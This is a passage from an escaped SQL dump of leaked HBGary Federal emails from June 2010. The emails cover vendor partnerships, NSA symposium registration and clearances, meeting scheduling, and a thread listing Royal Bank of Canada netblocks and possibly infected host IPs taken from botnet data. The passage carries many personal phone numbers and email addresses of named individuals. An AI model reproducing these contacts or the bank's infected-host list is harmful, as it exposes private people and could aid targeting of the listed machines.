Gary\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 10:30 AM-11:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Phone Number: &nbsp;&nbsp; 3018416585, 0139939\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nMOVING BACK 30 MIN&#8230;\r\n\r\n\r\n\r\nKurt and Gary to provide review of Fidelis channel, reseller and agent programs to design a program to enable HB Gary Incident Response goals\r\n\r\nFrom the e-mail thread - RE: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\nReseller / leave behind proposal &#8211; I see two different opportunities here, and they aren&#8217;t mutually exclusive.  Kurt leads our Channel Partner program and can provide details on becoming an authorized reseller.  Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.  We also have a referral agreement program, lead out of our sales organizations.  Gary Benedetti (VP, Sales) can provide the details. I&#8217;d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense.  \r\n\r\n\r\n',13000,'aaron_hbgary_com/13000.html'),(7116,'2010-06-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005170.M28270P14101Q1970.eml','\"Modi, Hardik\" <hardik.modi@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Modi, Hardik\" <hardik.modi@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAlso looping in Ted from HB Gary.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Modi, Hardik \r\nSent: Monday, June 07, 2010 8:58 AM\r\nTo: Etue, David; \'Aaron Barr\'\r\nCc: Harvey, Kevin; Mancini, Jerry\r\nSubject: RE: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHello Aaron,\r\n\r\n&nbsp;\r\n\r\nThe standard Fidelis Enterprise Setup Guide (https://dlcenter.fidelissecurity.com/getfile.php?f=Documentation/6.1/FidelisEnterpriseSetup_61.pdf)\r\nhas relevant information on Virtual Appliance installation and operation. The\r\nrelevant chapters in the Guide are 1,2 and 3.\r\n\r\n&nbsp;\r\n\r\nIf your team has any questions regarding the appliances (virtual\r\nor hardware), I&#8217;m on the Fidelis Support list and manage the relevant Answers\r\nsection on our portal. My direct contact information is below.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nHardik.\r\n\r\n&nbsp;\r\n\r\n-------------------------------------------\r\n\r\nHardik Modi \r\n\r\nManager, Hardware and Release\r\n\r\n&nbsp;\r\n\r\nFidelis Security Systems, Inc.\r\n\r\n4416 East West Highway, Ste 310\r\n\r\nBethesda, MD 20814\r\n\r\n&nbsp;\r\n\r\nEmail: hardik.modi@fidelissecurity.com\r\n\r\nPhone: +1 301 841 6563\r\n\r\n-------------------------------------------\r\n\r\n&nbsp;\r\n\r\nThis email and any attachments thereto may contain private,\r\nconfidential and/or privileged material for the sole use of the intended\r\nrecipient. Any review, copying or distribution of this email (or any\r\nattachments thereto) by others is strictly prohibited. If you are not the\r\nintended recipient, please notify the sender immediately and permanently delete\r\nthe original and any copies of this email and any attachments thereto.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Friday, June 04, 2010 11:44 AM\r\nTo: Aaron Barr\r\nCc: Harvey, Kevin; Modi, Hardik; Mancini, Jerry\r\nSubject: RE: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThere should be Quick Start guides and documentation on the\r\nportal too.&nbsp; Also cc&#8217;ing Jerry and Hardik Modi, who is the engineer who\r\noversees our appliances and has a lot of experience with the virt product\r\ndeployments.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:32 AM\r\nTo: Etue, David\r\nCc: Harvey, Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs there anything that would be helpful in the installation\r\nside as well?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we should connect them with Kevin Harvey (cc&#8217;d), who will\r\ncoordinate the training.&nbsp;&nbsp;Understanding\r\nour policy components and structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03,\r\n2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing.\r\n&nbsp;Should we have a conversation and potential demo of these capabilities\r\nfor the folks out here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12176,'aaron_hbgary_com/12176.html'),(7117,'2010-06-07','\"Casanova, William A.\" <w.casano@radium.ncsc.mil>','/aaron@hbgary.com/new/1297005170.M932435P14101Q1972.eml','\"Lee, Tamika D\" <tdlee6@nsa.gov>,thendricks@dewnet.ncsc.mil,\"Smith, Thomas\" <tesmith@nsa.gov>,ed@inguardians.com,Randal.Vickers@dhs.gov,edward.nugent@pacom.mil,rcparks@sandia.gov,\"Sheesley, Eric W.\" <e.sheesl@radium.ncsc.mil>,\"Barbour, Garth S.\" <g.barbou@radium.ncsc.mil>,\"Peteroy, William E\" <wepeter@nsa.gov>,windsor_stephen@bah.com,\"Hobbs, Kristen L\" <klhobb2@nsa.gov>,\"Kaltwasser, Jonathan C\" <jckaltw@radium.ncsc.mil>,karen.danesi@gchq.gsi.gov.uk,Donna.Martin@disa.mil,dpghorm@sandia.gov,cmwray@sandia.gov,fwu@thecouch.ncsc.mil,craig@thecouch.ncsc.mil,Linus.Barloon@whmo.mil,\"Bartock, Paul F.\" <p.bartoc@radium.ncsc.mil>,nziring@thecouch.ncsc.mil,aaron@hbgary.com,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,HeatherRT@gmail.com,\"Graham, Kimberly A\" <kagraha@nsa.gov>,jay.weinstein@L-3com.com,jon.callahan@gdc4s.com,\"Heimbuch, Andrew C\" <acheimb@nsa.gov>,\"Sumlin, Daniel A\" <dasumli@nsa.gov>,\"david.borden@lackland.af.mil\" <david.borden@LACKLAND.AF.MIL>,\"Rogers, Bruce J\" <bjroger@nsa.gov>,michael.sikorski@mandiant.com,\"Clark, Akiva A.\" <aclark@mitre.org>,Dmitri_Alperovitch@McAfee.com,jeff.williams@aspectsecurity.com,jminicucci@mtcsc.com,Neil.gaudreau@usmc.mil,\"Sullivan, Matthew W\" <mwsull3@nsa.gov>,c.dunkle@dewnet.ncsc.mil,Harry.Wearne@gchq.gsi.gov.uk,karen.danesi@gchq.gsi.gov.uk,adam.long@ogn.af.mil,koramot@sandia.gov,Donna.Martin@disa.mil,fwu@thecouch.ncsc.mil,craig@thecouch.ncsc.mil,carter.stephen@gmail.com,nziring@thecouch.ncsc.mil,Ann.Barron-DiCamillo@disa.mil,nziring@thecouch.ncsc.mil,Michael.Bingham@osd.mil,skbohli@missi.ncsc.mil,rjlarso@missi.ncsc.mil,bruce.hoy@L-3com.com,jon.callahan@gdc4s.com,\"Berlin, Kingsley R.\" <krberli@nsa.gov>,\"Peter Parker\" <Peter.Parker@g2-inc.com>,\"Lee, Tamika D\" <tdlee6@nsa.gov>,thendricks@dewnet.ncsc.mil,\"Smith, Thomas\" <tesmith@nsa.gov>,ed@inguardians.com','REBL Symposium 14-18 June 2010 / Registration','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\n&nbsp; For those of you who have not yet done so, today will be the\r\nlast day to register for the conference.&nbsp; Registration is\r\nrequired to attend/participate in this event.&nbsp; Please register at www.iad.gov/events\r\nas soon as possible and also send in your clearance information as directed in\r\nthe &quot;Info_Document&quot; attached.&nbsp; If you are having problems\r\nregistering or have any questions, we can be reached at DLREBL@corp.nsa.gov.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n\r\n\r\nBill\r\nCasanova \r\nDepartment of Defense / Fort George G. Meade \r\nTechnical Director, I742 \r\nSuite 6786 \r\n410-854-6704 (work) \r\n410-206-2673 (cell) \r\n410-854-7736 (fax) \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16885,'aaron_hbgary_com/16885.html'),(7118,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005171.M327636P14101Q1973.eml','\"William R Choate\" <WILLIAM.CHOATE@tasc.com>','Fwd: REBL Symposium 14-18 June 2010 / Registration','Bill,\r\n\r\nI am speaking at the NSA REBL conference next tuesday.  Can you send my clearances to the POC identified in the attachment?\r\n\r\nThank you,\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n',5812,'aaron_hbgary_com/5812.html'),(7119,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005171.M536899P14101Q1974.eml','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','Re: NANA','great.  How about Monday at 1pm?\r\n\r\nAaron\r\n\r\nOn Jun 7, 2010, at 9:46 AM, Paczynski, Robert A. wrote:\r\n\r\n> Free between 2-4 pm this Friday or after noon either Monday or Tuesday,\r\n> currently.\r\n> \r\n> BP\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, June 07, 2010 8:27 AM\r\n> To: Paczynski, Robert A.\r\n> Subject: Re: NANA\r\n> \r\n> Bob,\r\n> \r\n> Sure that would be great.   Are you available in the afternoon?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 7, 2010, at 8:07 AM, \"Paczynski, Robert A.\"\r\n>  wrote:\r\n> \r\n>> Aaron:\r\n>> \r\n>> Sorry for the delayed response.  Do you have any time this Friday to\r\n> meet (... or next Monday or Tuesday)??  I leave next Wednesday for 3\r\n> weeks and then won\'t be back until after the July 4th holiday.\r\n>> \r\n>> Not much in the way of staffing to discuss, but we can certainly talk\r\n> capabilities.\r\n>> \r\n>> Regards,\r\n>> \r\n>> Bob Paczynski, CISSP\r\n>> Vice President/Manager, Cyber Analysis & Security Division\r\n>> \r\n>> Science Applications International Corporation\r\n>> Intelligence and Information Solutions Business Unit\r\n>> 6841 Benjamin Franklin Drive\r\n>> Room 4031\r\n>> Columbia, MD  21046\r\n>> \r\n>> TEL:    (443) 367-7684\r\n>> FAX:    (443) 367-7948\r\n>> CELL:  (443) 286-0859\r\n>> EMAIL:  Robert.A.Paczynski@saic.com\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, June 01, 2010 11:21 AM\r\n>> To: Paczynski, Robert A.\r\n>> Subject: NANA\r\n>> \r\n>> Hi Robert,\r\n>> \r\n>> I am the CEO of HBGary Federal, the services sister company to HBGary\r\n> Inc..  We specialize in incident response (malware analysis), threat\r\n> intelligence, and information operations services.  I was given your\r\n> contact information from Mike Mulville.  I spoke with Scott Sheldon as\r\n> well a little while back about NANA.  Unfortunately we came late to the\r\n> party, we would have very much liked to have been on your team, but we\r\n> just started the services company in November.  I would like to have a\r\n> brief conversation with you whenever you are available about our\r\n> company.  If there are positions you are having a difficult time\r\n> filling, or for potential future positions we would like to be\r\n> considered.\r\n>> \r\n>> Thank You,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12245,'aaron_hbgary_com/12245.html'),(7120,'2010-06-07','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005171.M739639P14101Q1975.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: botnet discussion','Awesome.  I know they had a MAJOR breach last year (as in it brought down\r\nlots of critical systems)  Mike might know more but I would imagine you\r\ncould secure a pilot and go on site to manage this\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Saturday, June 05, 2010 2:34 PM\r\nTo: Penny Leavy; Greg Hoglund; Bob Slapnik; Barr Aaron; Mike Spohn; Rich\r\nCummings\r\nSubject: Fwd: botnet discussion\r\n\r\nI have a friend in Naples, FL who is a VP with RBC Bank.  Yesterday we\r\nwere chatting and I mentioned what we were doing with botnets,\r\nincident response, etc.  He was interested and asked me to see if any\r\nRBC nodes appear in the database.  I ran the query and sent him the\r\nresults below.  He\'s going to forward the info and try to get us an\r\naudience with their CISO.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Sat, Jun 5, 2010 at 3:09 PM\r\nSubject: botnet discussion\r\nTo: tamir.ness@rbc.com\r\n\r\n\r\nHi Sam,\r\n\r\nAs we discussed on the phone, HBGary and its partners have technology\r\nwhich allows us to passively enumerate nodes associated with illegal\r\nbot-nets.  As we passively collect this information it is logged to a\r\ndatabase (which is getting quite massive).  After we spoke, I did a\r\nwhois search on www.arin.net to identify the IP netblocks associated\r\nwith Royal Bank of Canada, see below list:\r\n\r\n159.55.0.0;159.55.255.255\r\n192.234.98.0;192.234.98.255\r\n198.203.235.0;198.203.235.255\r\n192.64.159.0;192.64.159.255\r\n192.64.161.0;192.64.164.255\r\n198.96.131.0;198.96.131.255\r\n207.181.111.192;207.181.111.223\r\n206.182.199.128;206.182.199.191\r\n206.182.199.0;206.182.199.63\r\n199.250.8.0;199.250.13.255\r\n170.175.0.0;170.175.255.255\r\n142.245.0.0;142.245.255.255\r\n198.96.128.0;198.96.139.255\r\n198.96.134.0;198.96.134.255\r\n198.96.135.0;198.96.135.255\r\n198.96.136.0;198.96.136.255\r\n198.96.128.0;198.96.128.255\r\n198.96.129.0;198.96.129.255\r\n198.96.130.0;198.96.130.255\r\n198.96.132.0;198.96.132.255\r\n198.96.133.0;198.96.133.255\r\n198.96.137.0;198.96.137.255\r\n198.96.138.0;198.96.138.255\r\n198.96.139.0;198.96.139.255\r\n64.26.141.32;64.26.141.39\r\n\r\nI then queried our database to see if any of these IP addresses have\r\nbeen passively observed in any of the 65 bot-nets that we collect data\r\non and the results are below.  Don\'t put too much weight into the\r\nConfidence value.  We are still working on the confidence algorithm.\r\nAt this point, it basically starts at 100% and then decreases over\r\ntime at different rates, based upon the type of event and the number\r\nof recorded observations.\r\n\r\nAll of these RBC machines may have already been identified and fixed\r\nby your IT security dept, or they could all still be infected.  I\r\nwould suggest that since it is a pretty small number of hosts (~40),\r\nit would be worthwhile for your security team to at least check out\r\nthese machines to see if they have any current bot-net infections,\r\nespecially the ones that were observed most recently:\r\n\r\nIP : 159.55.0.188\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 06:59:00 2009 GMT\r\n\r\nIP : 159.55.29.33\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 159.55.29.179\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 10 03:59:00 2009 GMT\r\n\r\nIP : 159.55.31.99\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 22:59:00 2009 GMT\r\n\r\nIP : 159.55.38.158\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 15 09:59:00 2009 GMT\r\n\r\nIP : 159.55.38.178\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 21 03:59:00 2009 GMT\r\n\r\nIP : 159.55.42.28\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb 25 15:59:00 2009 GMT\r\n\r\nIP : 159.55.57.73\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar 14 01:59:00 2009 GMT\r\n\r\nIP : 159.55.63.151\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Jan  7 06:59:00 2009 GMT\r\n\r\nIP : 159.55.80.204\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar 22 07:59:00 2009 GMT\r\n\r\nIP : 159.55.110.122\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 11:59:00 2009 GMT\r\n\r\nIP : 159.55.133.43\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb  6 17:59:00 2009 GMT\r\n\r\nIP : 159.55.161.149\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 23 11:59:00 2009 GMT\r\n\r\nIP : 159.55.168.153\r\nConfidence : 27.312005%\r\nEvents :\r\n       Spam : Sun Jan 31 09:59:00 2010 GMT\r\n\r\nIP : 159.55.186.237\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar 20 10:59:00 2009 GMT\r\n\r\nIP : 159.55.193.238\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 159.55.233.118\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 13 20:59:00 2009 GMT\r\n\r\nIP : 192.64.159.184\r\nConfidence : 32.596871%\r\nEvents :\r\n       Spam : Sat Feb 20 15:59:00 2010 GMT\r\n\r\nIP : 199.250.8.220\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Apr 27 17:59:00 2009 GMT\r\n\r\nIP : 199.250.13.98\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Jun  1 18:59:00 2009 GMT\r\n\r\nIP : 170.175.6.106\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar  2 05:59:00 2009 GMT\r\n\r\nIP : 170.175.37.68\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Feb  4 16:59:00 2009 GMT\r\n\r\nIP : 170.175.46.24\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 170.175.49.53\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Feb 21 11:59:00 2009 GMT\r\n\r\nIP : 170.175.50.148\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 170.175.64.166\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 19 23:59:00 2009 GMT\r\n\r\nIP : 170.175.80.186\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb 16 16:59:00 2009 GMT\r\n\r\nIP : 170.175.86.213\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Feb 20 09:59:00 2009 GMT\r\n\r\nIP : 170.175.89.44\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sat Mar  7 02:59:00 2009 GMT\r\n\r\nIP : 170.175.130.122\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Mar 16 05:59:00 2009 GMT\r\n\r\nIP : 170.175.138.154\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 11 12:59:00 2009 GMT\r\n\r\nIP : 170.175.156.104\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 170.175.159.56\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Wed Mar 18 11:59:00 2009 GMT\r\n\r\nIP : 170.175.163.96\r\nConfidence : 50.666644%\r\nEvents :\r\n       Spam : Sun Mar  7 20:59:00 2010 GMT\r\n\r\nIP : 170.175.206.163\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 170.175.224.24\r\nConfidence : 10%\r\nEvents :\r\n       Conficker A/B : Tue Mar 10 07:22:50 2009 GMT\r\n\r\nIP : 170.175.240.112\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Sun Mar  8 17:59:00 2009 GMT\r\n\r\nIP : 142.245.17.51\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Oct  5 03:59:00 2009 GMT\r\n\r\nIP : 142.245.21.236\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Thu Mar  5 05:59:00 2009 GMT\r\n\r\nIP : 142.245.82.243\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 142.245.85.76\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 142.245.238.240\r\nConfidence : 10%\r\nEvents :\r\n       Spam : Tue Mar 17 07:59:00 2009 GMT\r\n\r\n\r\nIf you or your IT Dept have any questions please feel free to contact\r\nme via email or tel:  719-237-8623.\r\n\r\nRegards,\r\nTed\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n',6017,'aaron_hbgary_com/6017.html'),(7121,'2010-06-07','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297005172.M365911P14101Q1976.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL Symposium 14-18 June 2010 / Registration','Aaron,\r\n\r\n	Believe your certs need to be sent to JHU, not NSA.  Also, was\r\ndue 4 June.  Am I reading the attachment correctly, and understand the\r\nclearance requirement is only SECRET level?\r\n\r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 10:54 AM\r\nTo: Choate, William R (TASC)\r\nSubject: Fwd: REBL Symposium 14-18 June 2010 / Registration\r\n\r\nBill,\r\n\r\nI am speaking at the NSA REBL conference next tuesday.  Can you send my\r\nclearances to the POC identified in the attachment?\r\n\r\nThank you,\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n',15976,'aaron_hbgary_com/15976.html'),(7122,'2010-06-07','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005172.M728457P14101Q1977.eml','\"Aaron Barr\" <aaron@hbgary.com>','Mtg With Aaron Barr (HBGary)','\r\n\r\n\r\n\r\n\r\nMtg With Aaron Barr (HBGary)\r\n\r\n\r\n\r\n\r\nWhen: Monday, June 14, 2010 12:00 AM to Tuesday, June 15, 2010 12:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Bob\'s Office\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n &lt;&lt;Re: NANA&gt;&gt; \r\n\r\n\r\nBob Paczynski\r\n\r\n \r\n\r\nScience Applications International Corporation\r\n\r\nIntelligence and Information Solutions Business Unit\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nRoom 4031\r\n\r\nColumbia, MD&nbsp; 21046 \r\n\r\n\r\nTEL:    (443) 367-7684\r\n\r\nCELL:  (443) 286-0859\r\n\r\n\r\n\r\n',13844,'aaron_hbgary_com/13844.html'),(7123,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005173.M321913P14101Q1979.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Re: REBL Symposium 14-18 June 2010 / Registration','Hi Bill,\r\n\r\nYes it\'s an NSA conference at jhu.  It was due on the 4th but they\r\nsaid it was still ok to get in.\r\nYes only secret level.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 7, 2010, at 12:01 PM, \"Choate, William R (TASC)\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> 	Believe your certs need to be sent to JHU, not NSA.  Also, was\r\n> due 4 June.  Am I reading the attachment correctly, and understand the\r\n> clearance requirement is only SECRET level?\r\n>\r\n> Bill\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 07, 2010 10:54 AM\r\n> To: Choate, William R (TASC)\r\n> Subject: Fwd: REBL Symposium 14-18 June 2010 / Registration\r\n>\r\n> Bill,\r\n>\r\n> I am speaking at the NSA REBL conference next tuesday.  Can you send my\r\n> clearances to the POC identified in the attachment?\r\n>\r\n> Thank you,\r\n> Aaron\r\n>\r\n> Begin forwarded message:\r\n>\r\n',8326,'aaron_hbgary_com/8326.html'),(7124,'2010-06-07','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005173.M37547P14101Q1978.eml','\"Aaron Barr\" <aaron@hbgary.com>','Updated: Mtg With Aaron Barr (HBGary)','\r\n\r\n\r\n\r\n\r\nUpdated: Mtg With Aaron Barr (HBGary)\r\n\r\n\r\n\r\n\r\nWhen: Monday, June 14, 2010 1:00 PM-1:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Bob\'s Office\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n &lt;&lt;Re: NANA&gt;&gt; \r\n\r\n\r\nBob Paczynski\r\n\r\n \r\n\r\nScience Applications International Corporation\r\n\r\nIntelligence and Information Solutions Business Unit\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nRoom 4031\r\n\r\nColumbia, MD&nbsp; 21046 \r\n\r\n\r\nTEL:    (443) 367-7684\r\n\r\nCELL:  (443) 286-0859\r\n\r\n\r\n\r\n',11459,'aaron_hbgary_com/11459.html'),(7125,'2010-06-07','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','/aaron@hbgary.com/new/1297005173.M570009P14101Q1980.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL Symposium 14-18 June 2010 / Registration','\r\n	I sent your TS/SCI clearances to JHU.  \r\nBill\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 1:18 PM\r\nTo: Choate, William R (TASC)\r\nSubject: Re: REBL Symposium 14-18 June 2010 / Registration\r\n\r\nHi Bill,\r\n\r\nYes it\'s an NSA conference at jhu.  It was due on the 4th but they\r\nsaid it was still ok to get in.\r\nYes only secret level.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 7, 2010, at 12:01 PM, \"Choate, William R (TASC)\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> 	Believe your certs need to be sent to JHU, not NSA.  Also, was\r\n> due 4 June.  Am I reading the attachment correctly, and understand the\r\n> clearance requirement is only SECRET level?\r\n>\r\n> Bill\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 07, 2010 10:54 AM\r\n> To: Choate, William R (TASC)\r\n> Subject: Fwd: REBL Symposium 14-18 June 2010 / Registration\r\n>\r\n> Bill,\r\n>\r\n> I am speaking at the NSA REBL conference next tuesday.  Can you 